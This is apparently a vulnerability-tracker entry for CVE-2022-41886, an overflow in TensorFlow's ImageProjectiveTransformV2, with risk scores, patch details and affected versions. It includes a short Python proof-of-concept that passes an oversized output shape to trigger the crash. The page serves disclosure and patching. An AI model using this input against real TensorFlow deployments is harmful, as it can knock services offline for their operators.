CVE-2022-41886Medium· 4.8▾ SunlitOverflow in `ImageProjectiveTransformV2`
▾ Sunlit zone — Low / medium · no exploitation signal
impact 26.4 · likelihood 0.1 · exploitation 0
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Exploit-prediction probability, daily snapshots since Jul 8.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via OSV
Last analysed / modified upstream
0.4%
0.4% → 0.5%
When tf.raw_ops.ImageProjectiveTransformV2 is given a large output shape, it overflows.
import tensorflow as tf
interpolation = "BILINEAR"
fill_mode = "REFLECT"
images = tf.constant(0.184634328, shape=[2,5,8,3], dtype=tf.float32)
transforms = tf.constant(0.378575385, shape=[2,8], dtype=tf.float32)
output_shape = tf.constant([1879048192,1879048192], shape=[2], dtype=tf.int32)
tf.raw_ops.ImageProjectiveTransformV2(images=images, transforms=transforms, output_shape=output_shape, interpolation=interpolation, fill_mode=fill_mode)
We have patched the issue in GitHub commit 8faa6ea692985dbe6ce10e1a3168e0bd60a723ba.
The fix will be included in TensorFlow 2.11. We will also cherrypick this commit on TensorFlow 2.10.1, 2.9.3, and TensorFlow 2.8.4, as these are also affected and still in supported range.
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This vulnerability has been reported by Neophytos Christou from the Secure Systems Lab (SSL) at Brown University.
tensorflow < 2.8.4tensorflow >= 2.9.0, < 2.9.3tensorflow >= 2.10.0, < 2.10.1tensorflow-cpu < 2.8.4tensorflow-gpu < 2.8.4tensorflow-cpu >= 2.9.0, < 2.9.3tensorflow-gpu >= 2.9.0, < 2.9.3tensorflow-cpu >= 2.10.0, < 2.10.1tensorflow-gpu >= 2.10.0, < 2.10.1Upgrade to a patched release:
tensorflow 2.8.4tensorflow 2.9.3tensorflow 2.10.1tensorflow-cpu 2.8.4tensorflow-gpu 2.8.4tensorflow-cpu 2.9.3tensorflow-gpu 2.9.3tensorflow-cpu 2.10.1tensorflow-gpu 2.10.1Connected by shared product, vendor, weakness, or advisory.
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